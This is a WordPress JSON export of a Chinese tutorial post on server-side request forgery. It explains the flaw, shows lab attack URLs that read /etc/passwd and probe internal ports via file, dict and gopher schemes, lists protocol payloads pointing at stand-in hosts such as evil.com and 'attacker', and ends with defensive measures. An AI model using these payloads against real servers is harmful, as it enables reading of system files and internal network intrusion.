{"id":771,"date":"2025-10-24T14:58:50","date_gmt":"2025-10-24T06:58:50","guid":{"rendered":"https:\/\/www.youvii.site\/?p=771"},"modified":"2025-10-24T15:01:12","modified_gmt":"2025-10-24T07:01:12","slug":"ssrfloudong","status":"publish","type":"post","link":"https:\/\/www.youvii.site\/index.php\/archives\/ssrfloudong","title":{"rendered":"SSRF\u6f0f\u6d1e"},"content":{"rendered":"<h1>SSRF\u6f0f\u6d1e<\/h1>\n<h1>\u6982\u8ff0<\/h1>\n<p>SSRF (Server-Side Request Forgery,\u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020)\u662f\u4e00\u79cd\u7531\u653b\u51fb\u8005\u6784\u9020\u8bf7\u6c42\uff0c\u7531\u670d\u52a1\u7aef\u53d1\u8d77\u8bf7\u6c42\u7684\u5b89\u5168\u6f0f\u6d1e\u3002\u4e00\u822c\u60c5\u51b5\u4e0b\uff0cSSRF \u653b\u51fb\u7684\u76ee\u6807\u662f\u5916\u7f51\u65e0\u6cd5\u8bbf\u95ee\u7684\u5185\u90e8\u7cfb\u7edf(\u6b63\u56e0\u4e3a\u8bf7\u6c42\u662f\u7531\u670d\u52a1\u7aef\u53d1\u8d77\u7684\uff0c\u6240\u4ee5\u670d\u52a1\u7aef\u80fd\u8bf7\u6c42\u5230\u4e0e\u81ea\u8eab\u76f8\u8fde\u800c\u4e0e\u5916\u7f51\u9694\u79bb\u7684\u5185\u90e8\u7cfb\u7edf)<\/p>\n<h1>SSRF\u539f\u7406<\/h1>\n<p>SSRF \u7684\u5f62\u6210\u5927\u591a\u662f\u7531\u4e8e\u670d\u52a1\u7aef\u63d0\u4f9b\u4e86\u4ece\u5176\u4ed6\u670d\u52a1\u5668\u5e94\u7528\u83b7\u53d6\u6570\u636e\u7684\u529f\u80fd\u4e14\u6ca1\u6709\u5bf9\u76ee\u6807\u5730\u5740\u505a\u8fc7\u6ee4\u4e0e\u9650\u5236\u3002<\/p>\n<p>\u4f8b\u5982\uff0c\u9ed1\u5ba2\u64cd\u4f5c\u670d\u52a1\u7aef\u4ece\u6307\u5b9a URL \u5730\u5740\u83b7\u53d6\u7f51\u9875\u6587\u672c\u5185\u5bb9\uff0c\u52a0\u8f7d\u6307\u5b9a\u5730\u5740\u7684\u56fe\u7247\u7b49\u5229\u7528\u7684\u662f\u670d\u52a1\u7aef\u7684\u8bf7\u6c42\u4f2a\u9020\u3002SSRF \u5229\u7528\u5b58\u5728\u7f3a\u9677\u7684 Web \u5e94\u7528\u4f5c\u4e3a\u4ee3\u7406\u653b\u51fb\u8fdc\u7a0b\u548c\u672c\u5730\u7684\u670d\u52a1\u5668\u3002<\/p>\n<p>\u4e3b\u8981\u653b\u51fb\u65b9\u5f0f\u5982\u4e0b<\/p>\n<p>\u5bf9\u5916\u7f51\u3001\u670d\u52a1\u5668\u6240\u5728\u5185\u7f51\u3001\u672c\u5730\u8fdb\u884c\u7aef\u53e3\u626b\u63cf\uff0c\u83b7\u53d6\u4e00\u4e9b\u670d\u52a1\u7684 banner \u4fe1\u606f\u3002<\/p>\n<p>\u653b\u51fb\u8fd0\u884c\u5728\u5185\u7f51\u6216\u672c\u5730\u7684\u5e94\u7528\u7a0b\u5e8f\u3002<\/p>\n<p>\u5bf9\u5185\u7f51 Web \u5e94\u7528\u8fdb\u884c\u6307\u7eb9\u8bc6\u522b\uff0c\u8bc6\u522b\u4f01\u4e1a\u5185\u90e8\u7684\u8d44\u4ea7\u4fe1\u606f\u3002<\/p>\n<p>\u653b\u51fb\u5185\u5916\u7f51\u7684 Web \u5e94\u7528\uff0c\u4e3b\u8981\u662f\u4f7f\u7528 HTTP GET \u8bf7\u6c42\u5c31\u53ef\u4ee5\u5b9e\u73b0\u7684\u653b\u51fb(\u6bd4\u5982 struts2\u3001SQli \u7b49)\u3002<\/p>\n<p>\u5229\u7528 file \u534f\u8bae\u8bfb\u53d6\u672c\u5730\u6587\u4ef6\u7b49<\/p>\n<h1>SSRF\u6f0f\u6d1e\u4ee3\u7801\u5206\u6790<\/h1>\n<p>url \u6ca1\u6709\u4efb\u4f55\u8fc7\u6ee4\u4f20\u5165\uff0cphp \u4e2d\u7684 curl \u662f http \u8bf7\u6c42\u80fd\u8bbf\u95ee\u8fdc\u7a0b\u9875\u9762<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae64e01529.png\" class=\"lazy\" loading=\"lazy\" alt=\"1746424569104-7be634b3-c78a-4a34-a518-2614bf0847f5.png\" \/><\/p>\n<h1>SSRF\u6f0f\u6d1e\u653b\u51fb<\/h1>\n<p>SSRF \u652f\u6301\u5f88\u591a\u534f\u8bae\u6240\u4ee5\u6f0f\u6d1e\u5229\u7528\u7684\u65b9\u6cd5\u6709\u633a\u591a\u7684<\/p>\n<h2>1\u3001http\u534f\u8bae<\/h2>\n<p>\u80fd\u8fdb\u884c\u5185\u7f51\u7aef\u53e3\u63a2\u6d4b-\u53ef\u4ee5\u901a\u8fc7\u8fd4\u56de\u7684\u65f6\u95f4\u548c\u957f\u5ea6\u5224\u65ad\u7aef\u53e3\u7684\u5f00\u653e<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae6514fc67.png\" class=\"lazy\" loading=\"lazy\" alt=\"1746424656123-bbac39b6-b8cf-4e42-9bce-3aa222fde149.png\" \/><\/p>\n<p>\u6839\u636e baner \u7684\u4fe1\u606f\u83b7\u53d6\u5185\u7f51<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae6546ad94.png\" class=\"lazy\" loading=\"lazy\" alt=\"1746424662992-c0c23d89-ff66-4c6b-8416-04f96dfe0326.png\" \/><\/p>\n<h2>2\u3001file\u534f\u8bae\u8bfb\u53d6\u6587\u4ef6<\/h2>\n<p><a href=\"http:\/\/192.168.0.103\/06\/vul\/ssrf\/ssrf_curl.php?url=file:\/\/\/etc\/passwd\">http:\/\/192.168.0.103\/06\/vul\/ssrf\/ssrf_curl.php?url=file:\/\/\/etc\/passwd<\/a><\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae65757682.png\" class=\"lazy\" loading=\"lazy\" alt=\"1746424685546-896bd9ca-1297-421b-911f-6fdba834224e.png\" \/><\/p>\n<h2>3\u3001dict\u534f\u8bae\u5185\u7f51\u626b\u63cf<\/h2>\n<p>\u80fd\u8fdb\u884c\u5185\u7f51\u7aef\u53e3\u7684\u63a2\u6d4b-\u53ef\u4ee5\u63a2\u6d4b\u5230\u5177\u4f53\u7684\u7248\u672c\u53f7\u7b49\u7b49\u4fe1\u606f\u3002<\/p>\n<p><a href=\"http:\/\/192.168.0.103\/06\/vul\/ssrf\/ssrf_curl.php?url=dict:\/\/127.0.0.1:3306\">http:\/\/192.168.0.103\/06\/vul\/ssrf\/ssrf_curl.php?url=dict:\/\/127.0.0.1:3306<\/a><\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae65acbf6b.png\" class=\"lazy\" loading=\"lazy\" alt=\"1746424709516-c2339ffb-cb8f-4861-9e54-8b560696aef7.png\" \/><\/p>\n<h2>4\u3001gopher\u534f\u8bae<\/h2>\n<p>\u80fd\u8fdb\u884c\u5185\u7f51\u7aef\u53e3\u7684\u63a2\u6d4b-\u53ef\u4ee5\u53d1\u9001 get \u6216\u8005\u6765\u653b\u51fb\u5185\u7f51\u7684 redis \u7b49\u670d\u52a1\u3002<\/p>\n<p><a href=\"http:\/\/192.168.0.103\/06\/vul\/ssrf\/ssrf_curl.php?url=gopher:\/\/127.0.0.1:3306\">http:\/\/192.168.0.103\/06\/vul\/ssrf\/ssrf_curl.php?url=gopher:\/\/127.0.0.1:3306<\/a><\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae65d6380a.png\" class=\"lazy\" loading=\"lazy\" alt=\"1746424730216-cf1f1dd7-42c8-47c9-bc49-41e47ff210e8.png\" \/><\/p>\n<h1>SSRF\u652f\u6301\u7684\u534f\u8bae<\/h1>\n<p>ftp<\/p>\n<p>ssrf.php?url=ftp:\/\/evil.com:12345\/TEST<\/p>\n<p>file:\/\/<\/p>\n<p>ssrf.php?url=file:\/\/\/etc\/password<\/p>\n<p>Dict:\/\/<\/p>\n<p>dict:\/\/<a href=\"mailto:user-auth&gt;@&lt;host\">user-auth&gt;@&lt;host<\/a>:<port>\/d:<word><\/p>\n<p>ssrf.php?url=dict:\/\/attacker:11111\/<\/p>\n<p>SFTP:\/\/<\/p>\n<p>ssrf.php?url=sftp:\/\/example.com:11111\/<\/p>\n<p>TFTP:\/\/<\/p>\n<p>ssrf.php?url=tftp:\/\/example.com:12346\/TESTUDPPACKET<\/p>\n<p>LDAP:\/\/<\/p>\n<p>ssrf.php?url=ldap:\/\/localhost:11211\/%0astats%0aquit<\/p>\n<p>Gopher:\/\/<\/p>\n<p>ssrf.php?url=gopher:\/\/127.0.0.1:3306<\/p>\n<h1>SSRF\u6f0f\u6d1e\u9632\u5fa1\u65b9\u6848<\/h1>\n<p>1.\u7981\u6b62\u8df3\u8f6c<\/p>\n<p>2.\u8fc7\u6ee4\u8fd4\u56de\u4fe1\u606f\uff0c\u9a8c\u8bc1\u8fdc\u7a0b\u670d\u52a1\u5668\u5bf9\u8bf7\u6c42\u7684\u54cd\u5e94\u662f\u6bd4\u8f83\u5bb9\u6613\u7684\u65b9\u6cd5\u3002\u5982\u679c web \u5e94\u7528\u662f\u53bb\u83b7\u53d6\u67d0\u4e00\u79cd\u7c7b\u578b\u7684\u6587\u4ef6\u3002\u90a3\u4e48\u5728\u628a\u8fd4\u56de\u7ed3\u679c\u5c55\u793a\u7ed9\u7528\u6237\u4e4b\u524d\u5148\u9a8c\u8bc1\u8fd4\u56de\u7684\u4fe1\u606f\u662f\u5426\u7b26\u5408\u6807\u51c6\u3002<\/p>\n<p>3.\u7981\u7528\u4e0d\u9700\u8981\u7684\u534f\u8bae\uff0c\u4ec5\u4ec5\u5141\u8bb8 http \u548c https \u8bf7\u6c42\u3002\u53ef\u4ee5\u9632\u6b62\u7c7b\u4f3c\u4e8e file:\/\/, gopher:\/\/, ftp:\/\/ \u7b49\u5f15\u8d77\u7684\u95ee\u9898<\/p>\n<p>4.\u8bbe\u7f6e URL \u767d\u540d\u5355\u6216\u8005\u9650\u5236\u5185\u7f51 IP\uff08\u4f7f\u7528 gethostbyname()\u5224\u65ad\u662f\u5426\u4e3a\u5185\u7f51 IP\uff09<\/p>\n<p>5.\u9650\u5236\u8bf7\u6c42\u7684\u7aef\u53e3\u4e3a http \u5e38\u7528\u7684\u7aef\u53e3\uff0c\u6bd4\u5982 80\u3001443\u30018080\u30018090<\/p>\n<p>6.\u7edf\u4e00\u9519\u8bef\u4fe1\u606f\uff0c\u907f\u514d\u7528\u6237\u53ef\u4ee5\u6839\u636e\u9519\u8bef\u4fe1\u606f\u6765\u5224\u65ad\u8fdc\u7aef\u670d\u52a1\u5668\u7684\u7aef\u53e3\u72b6\u6001<\/p>\n<blockquote>\n<p>\u66f4\u65b0: 2025-05-05 13:59:29<br \/>\n\u539f\u6587: <a href=\"https:\/\/www.yuque.com\/yuhui.net\/network\/zmpl2gzph9lffkql\">https:\/\/www.yuque.com\/yuhui.net\/network\/zmpl2gzph9lffkql<\/a><\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>SSRF\u6f0f\u6d1e \u6982\u8ff0 SSRF (Server-Side Request Forgery,\u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020)\u662f\u4e00\u79cd\u7531\u653b\u51fb\u8005\u6784\u9020\u8bf7\u6c42\uff0c\u7531\u670d\u52a1\u7aef\u53d1\u8d77\u8bf7\u6c42\u7684\u5b89\u5168\u6f0f\u6d1e\u3002\u4e00\u822c\u60c5\u51b5\u4e0b\uff0cSSRF \u653b\u51fb\u7684\u76ee\u6807\u662f\u5916\u7f51\u65e0\u6cd5\u8bbf\u95ee\u7684\u5185\u90e8\u7cfb\u7edf(\u6b63\u56e0\u4e3a\u8bf7\u6c42\u662f\u7531\u670d\u52a1\u7aef\u53d1\u8d77\u7684\uff0c\u6240\u4ee5\u670d\u52a1\u7aef\u80fd\u8bf7\u6c42\u5230\u4e0e\u81ea\u8eab\u76f8\u8fde\u800c\u4e0e\u5916\u7f51\u9694\u79bb\u7684\u5185\u90e8\u7cfb\u7edf) SSRF\u539f\u7406 SSRF \u7684\u5f62\u6210\u5927\u591a\u662f\u7531\u4e8e\u670d\u52a1\u7aef\u63d0\u4f9b\u4e86\u4ece\u5176\u4ed6\u670d\u52a1\u5668\u5e94\u7528\u83b7\u53d6\u6570\u636e\u7684\u529f\u80fd\u4e14\u6ca1\u6709\u5bf9\u76ee\u6807\u5730\u5740\u505a\u8fc7 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[119,120,2],"tags":[],"class_list":["post-771","post","type-post","status-publish","format-standard","hentry","category-shentouceshijichu-network_sec","category-loudongleibie","category-network_sec"],"_links":{"self":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/posts\/771","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/comments?post=771"}],"version-history":[{"count":0,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/posts\/771\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/media?parent=771"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/categories?post=771"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/tags?post=771"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}